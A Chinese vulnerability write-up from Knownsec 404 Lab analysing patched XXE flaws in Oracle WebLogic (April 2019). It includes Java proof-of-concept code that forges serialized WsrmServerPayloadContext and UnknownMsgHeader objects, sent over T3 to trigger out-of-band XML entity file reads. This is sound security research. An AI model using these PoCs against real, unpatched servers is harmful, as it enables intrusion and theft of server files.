作者:Longofo@知道创宇404实验室
时间:2019年4月26日
Oracle发布了4月份的补丁,详情见链接(
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW
)
@xxlegend在《
weblogic CVE-2019-2647等相关XXE漏洞分析
》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。
根据JAVA常见XXE写法与防御方式(参考
https://blog.spoock.com/2018/10/23/java-xxe/
),通过对比补丁,发现新补丁以下四处进行了
setFeature
操作:
应该就是对应的四个CVE了,其中
ForeignRecoveryContext
@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点
WsrmServerPayloadContext 漏洞点分析
WsrmServerPayloadContext
修复后的代码如下:
package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
...
}
private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
...
ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
try {
DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
try {
String var8 = "http://xml.org/sax/features/external-general-entities";
var7.setFeature(var8, false);
var8 = "http://xml.org/sax/features/external-parameter-entities";
var7.setFeature(var8, false);
var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
var7.setFeature(var8, false);
var7.setXIncludeAware(false);
var7.setExpandEntityReferences(false);
} catch (Exception var11) {
if (verbose) {
Verbose.log("Failed to set factory:" + var11);
}
}
...
}
}
可以看到进行了
setFeature
操作防止xxe攻击,而未打补丁之前是没有进行
setFeature
操作的
readExternal
在反序列化对象时会被调用,与之对应的
writeExternal
在序列化对象时会被调用,看下
writeExternal
的逻辑:
var1
就是
this.formENdpt
,注意
var5.serialize
可以传入三种类型的对象,
var1.getEndptElement()
返回的是
Element
对象,先尝试新建一个项目构造一下
PoC
:
结构如下
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference {
@Override
public Element getEndptElement() {
super.getEndptElement();
Document doc = null;
Element element = null;
try {
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
//从DOM工厂中获得DOM解析器
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
//创建文档树模型对象
doc = dbBuilder.parse("test.xml");
element = doc.getDocumentElement();
} catch (Exception e) {
e.printStackTrace();
}
return element;
}
}
public static Object getXXEObject() {
EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:
运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法:
-
在上面说到
var5.serialize
可以传入
Document
对象,测试了下,的确可以,但是如何使
getEndptElement
返回一个
Document
对象呢?
-
尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的
modules
文件夹与
wlserver_10.3\server\lib
文件夹到另一个目录,将
wlserver_10.3\server\lib\weblogic.jar
解压,将
WsrmServerPayloadContext.class
类删除,重新压缩为
weblogic.Jar
,然后新建一个项目,引入需要的Jar文件(
modules
和
wlserver_10.3\server\lib
中所有的Jar包),然后新建一个与
WsrmServerPayloadContext.class
同样的包名,在其中新建
WsrmServerPayloadContext.class
类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。
WsrmServerPayloadContext.class
修改的内容如下:
构造新的PoC:
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference fromEndpt = new EndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在
dbBuilder.parse
时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:
%dtd;%send;
居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。
尝试debug看下:
可以看到
%dtd;%send;
确实是被处理掉了
测试下正常的加载外部数据,my.dtd改为如下:
gen.xml为:
debug看下:
可以看到
%dtd;%send;
被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个
EntityScanner
,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。
所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:
运行PoC测试下,
居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了
与
WsrmServerPayloadContext
差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造
新建
UnknownMsgHeader
类,修改
writeExternal
PoC如下:
public class WeblogicXXE2 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
QName qname = new QName("a", "b", "c");
Element xmlHeader = null;
UnknownMsgHeader umh = new UnknownMsgHeader();
try {
Field f1 = umh.getClass().getDeclaredField("qname");
f1.setAccessible(true);
f1.set(umh, qname);
Field f2 = umh.getClass().getDeclaredField("xmlHeader");
f2.setAccessible(true);
f2.set(umh, xmlHeader);
} catch (Exception e) {
e.printStackTrace();
}
return umh;
}
}